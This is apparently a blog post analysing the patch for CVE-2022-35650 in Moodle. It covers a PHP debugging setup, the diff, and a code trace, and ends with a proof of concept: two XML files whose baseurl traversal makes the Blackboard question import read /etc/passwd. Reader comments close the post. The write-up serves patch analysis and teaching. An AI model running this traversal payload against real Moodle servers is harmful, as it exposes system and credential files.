CVE-2022-35650
The vulnerability was found in Moodle, occurs due to input validation error when importing lesson questions. This insufficient path checks results in arbitrary file read risk. This vulnerability allows a remote attacker to perform directory traversal attacks. The capability to access this feature is only available to teachers, managers and admins by default.
I’ve been wanting to write a blog post about 1-day analysis for a long time, especially in PHP, and in this post, I’ll talk about what approach you should take when analyzing a 1-day CVE patch and how Make a PoC for it
Setup Debugging environment for PHP
sudo apt install php-xdebug
nano /etc/php/7.4/mods-available/xdebug.ini
zend_extension=/usr/lib64/php/modules/xdebug.so
xdebug.remote_autostart = 1
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_host = 127.0.0.1
xdebug.remote_mode = req
xdebug.remote_port = 9000
Install Xdebug extension:

make a launch.json file with the following contents in the .vscode directory:
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9000
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 0,
"runtimeArgs": [
"-dxdebug.start_with_request=yes"
],
"env": {
"XDEBUG_MODE": "debug,develop",
"XDEBUG_CONFIG": "client_port=${port}"
}
}
]
}
Patch Diffing
The git commit that fixes this vulnerability could be found in this link.
--- a/question/format/blackboard_six/format.php
+++ b/question/format/blackboard_six/format.php
@@ -152,7 +152,8 @@ class qformat_blackboard_six extends qformat_blackboard_six_base {
}
if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
if ($examfile->getAttribute('baseurl')) {
- $fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
+ $fileobj->filebase = clean_param($this->tempdir . '/'
+ . $examfile->getAttribute('baseurl'), PARAM_SAFEPATH);
}
if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
$fileobj->filetype = self::FILETYPE_POOL;
The code change shows that in the old version property filebase
of fileobj
object will be assigned directly from getAttribute('baseurl')
but in the patched version it will be sanitized by clean_param
function.
Analysis
The above code is responsible for importing the questions of type blackboard in Question bank.
...
$this->tempdir = make_temp_directory('bbquiz_import/' . $uniquecode);
if (is_readable($filename)) {
if (!copy($filename, $this->tempdir . '/bboard.zip')) {
$this->error(get_string('cannotcopybackup', 'question'));
fulldelete($this->tempdir);
return false;
}
$packer = get_file_packer('application/zip');
if ($packer->extract_to_pathname($this->tempdir . '/bboard.zip', $this->tempdir)) {
$dom = new DomDocument();
if (!$dom->load($this->tempdir . '/imsmanifest.xml')) {
$this->error(get_string('errormanifest', 'qformat_blackboard_six'));
fulldelete($this->tempdir);
return false;
}
$xpath = new DOMXPath($dom);
// We starts from the root element.
$query = '//resources/resource';
$qfile = array();
$examfiles = $xpath->query($query);
foreach ($examfiles as $examfile) {
$fileobj = new qformat_blackboard_six_file();
if ($examfile->getAttribute('type') == 'assessment/x-bb-qti-test'
|| $examfile->getAttribute('type') == 'assessment/x-bb-qti-pool') {
if ($content = $this->get_filecontent($examfile->getAttribute('bb:file'))) {
$fileobj->filetype = self::FILETYPE_QTI;
$fileobj->filebase = $this->tempdir;
$fileobj->text = $content;
$qfile[] = $fileobj;
}
}
if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
if ($examfile->getAttribute('baseurl')) {
$fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
}
if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
$fileobj->filetype = self::FILETYPE_POOL;
$fileobj->text = $content;
$qfile[] = $fileobj;
}
}
}
if ($qfile) {
return $qfile;
...
The code will make a temp directory and extract the blackboard archive to it and then read the imsmanifest.xml
file from it.
Then by an XPath query, it will retrieve all resource
elements and then will make an object from qformat_blackboard_six_file
class and then check the type
attribute of the resource element as you saw in patch diff the vulnerability will happen if the type is assessment/x-bb-pool
, so we can make a zip archive with the following imsmanifest.xml
file to test if we are right:
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
<resources>
<resource type="assessment/x-bb-pool" baseurl="test">
test
</resource>
</resources>
</manifest>

We will set a breakpoint on this line:

Great, we just found the right way and we can continue 🙂
Then the code will get baseurl
attribute and if it exists it will set $fileobj->filebase
to $this->tempdir. '/' . $examfile->getAttribute('baseurl');
Did you notice something?
We have full control over baseurl
attribute so we can do a directory traversal attack and set the $fileobj->filebase
to any location, great what is next?
The get_filecontent
function will be called with file
attribute as its parameter.
get_filecontent
function:

At this point, you may think that we can control the $path
and perform a directory traversal but it’s wrong and you will see why.
We actually could control $path
from the path
attribute of the resource element but if you follow the stack trace you will notice that it will return an error because the returned content should be a valid XML file of type blackboard pool ( ͡° ͜ʖ ͡°)
The readdata
function will be called and after it the readquestions
will be called with the $lines
that is the readdata
output

As you saw we can set $fileobj->text
to an arbitrary file content but in the readquestions
function it will call readquestions
function of qformat_blackboard_six_pool
class with $fileobj->text
that could be the content of any file in the filesystem:

in readquestions
function it will try to parse the $text
with xmlize
function and will return an error if the $text
dose not be a valid $xml
so as I said even if we can control the $path
in above function and tries to read a file that is not a valid XML file we will get an error here and we could not do anything useful ( ͡° ͜ʖ ͡°)

Let’s back to the filebase
.
In readquestions
function from qformat_blackboard_six
class it will call set_filebase
function from qformat_blackboard_six_base
class so let’s see where is the usage of filebase
:

That above code will get $text as its parrampter and with an regex tries to extract the value of src
attribute from img
tag in $text
.
In order to reach this function we have to set file
attribute in resource element to a valid blackboard pool xml file, hopefully we could find one sample in tests directory fixtures/sample_blackboard_pool.dat
<?xml version='1.0' encoding='utf-8'?>
<POOL>
<TITLE value='exam 3 2008-9'/>
<QUESTIONLIST>
<QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
<QUESTION id='q7' class='QUESTION_MULTIPLECHOICE' points='1'/>
<QUESTION id='q8' class='QUESTION_MULTIPLEANSWER' points='1'/>
<QUESTION id='q39-44' class='QUESTION_MATCH' points='1'/>
<QUESTION id='q9' class='QUESTION_ESSAY' points='1'/>
<QUESTION id='q27' class='QUESTION_FILLINBLANK' points='1'/>
</QUESTIONLIST>
<QUESTION_TRUEFALSE id='q1'>
<BODY>
<TEXT><![CDATA[<h1> He Heeeeeeeeeeee</h1>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q1_a1'>
<TEXT>False</TEXT>
</ANSWER>
<ANSWER id='q1_a2'>
<TEXT>True</TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q1_a2'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_TRUEFALSE>
<QUESTION_MULTIPLECHOICE id='q7'>
<BODY>
<TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q7_a1' position='1'>
<TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
</ANSWER>
<ANSWER id='q7_a2' position='2'>
<TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
</ANSWER>
<ANSWER id='q7_a3' position='3'>
<TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q7_a2'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow is between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_MULTIPLECHOICE>
<QUESTION_MULTIPLEANSWER id='q8'>
<BODY>
<TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q8_a1' position='1'>
<TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
</ANSWER>
<ANSWER id='q8_a2' position='2'>
<TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
</ANSWER>
<ANSWER id='q8_a3' position='3'>
<TEXT><![CDATA[<span style="font-size:12pt">off-beige</span>]]></TEXT>
</ANSWER>
<ANSWER id='q8_a4' position='4'>
<TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q8_a1'/>
<CORRECTANSWER answer_id='q8_a3'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow and off-beige are between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_MULTIPLEANSWER>
<QUESTION_MATCH id='q39-44'>
<BODY>
<TEXT><![CDATA[<i>Classify the animals.</i>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q39-44_a1' position='1'>
<TEXT><![CDATA[frog]]></TEXT>
</ANSWER>
<ANSWER id='q39-44_a2' position='2'>
<TEXT><![CDATA[cat]]></TEXT>
</ANSWER>
<ANSWER id='q39-44_a3' position='3'>
<TEXT><![CDATA[newt]]></TEXT>
</ANSWER>
<CHOICE id='q39-44_c1' position='1'>
<TEXT><![CDATA[mammal]]></TEXT>
</CHOICE>
<CHOICE id='q39-44_c2' position='2'>
<TEXT><![CDATA[insect]]></TEXT>
</CHOICE>
<CHOICE id='q39-44_c3' position='3'>
<TEXT><![CDATA[amphibian]]></TEXT>
</CHOICE>
<GRADABLE>
<CORRECTANSWER answer_id='q39-44_a1' choice_id='q39-44_c3'/>
<CORRECTANSWER answer_id='q39-44_a2' choice_id='q39-44_c1'/>
<CORRECTANSWER answer_id='q39-44_a3' choice_id='q39-44_c3'/>
</GRADABLE>
</QUESTION_MATCH>
<QUESTION_ESSAY id='q9'>
<BODY>
<TEXT><![CDATA[How are you?]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q9_a1'>
<TEXT><![CDATA[Blackboard answer for essay questions will be imported as informations for graders.]]></TEXT>
</ANSWER>
<GRADABLE>
</GRADABLE>
</QUESTION_ESSAY>
<QUESTION_FILLINBLANK id='q27'>
<BODY>
<TEXT><![CDATA[<span style="font-size:12pt">Name an amphibian: __________.</span>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q27_a1' position='1'>
<TEXT>frog</TEXT>
</ANSWER>
<GRADABLE>
</GRADABLE>
</QUESTION_FILLINBLANK>
</POOL>
As you saw the code it will tries to extract image source file from HTML defined in TEXT element.
After extracting that it will make a variable called $fullpath
and assign value $this->filebase . '/' . $path
to it and also $this->filebase
is under our control as I showed.
if the $fullpath
is a readable file the code will call store_file_for_text_field
, so lets set the baseurl
in imsmanifest.xml
and the value of src attribute in q.xml to make $fullpath
point to a valid file:
...
<TEXT><![CDATA[<img src="passwd">]]></TEXT>
...
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
<resources>
<resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
test
</resource>
</resources>
</manifest>

Here is the store_file_for_text_field
function:


As you can see finally it will call create_file_from_pathname
and the second petameter that is the location of file in filesystem is under our control and we can make it to point to any file in the file system
( ͡° ͜ʖ ͡°)
Final PoC
imsmanifest.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
<resources>
<resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
test
</resource>
</resources>
</manifest>
q.xml
:
<?xml version='1.0' encoding='utf-8'?>
<POOL>
<TITLE value='PoC exam'/>
<QUESTIONLIST>
<QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
</QUESTIONLIST>
<QUESTION_TRUEFALSE id='q1'>
<BODY>
<TEXT><![CDATA[<img src="passwd">]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q1_a1'>
<TEXT>False</TEXT>
</ANSWER>
<ANSWER id='q1_a2'>
<TEXT>True</TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q1_a2'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_TRUEFALSE>
</POOL>
We can view the file:

you will find the location of file here:


Hello, congratulations on finding this bug
I tested this POC but it doesn’t work.
I combine all poc xml file in zip file and submit that but id doesn’t work and it’s src address of img tag is ‘passwd’ .
can you help me to proof it ?
thanks for your attention
Hi, Thank you
I don’t find this bug, the purpose of this blog post is also not to show this bug but patch analysis and debugging in PHP, I chose this CVE randomly.
Since the bug is patch traversal and the prefix of the path depends on moodle data directory maybe you need to add more ../
It seems to compute nicely! *grins*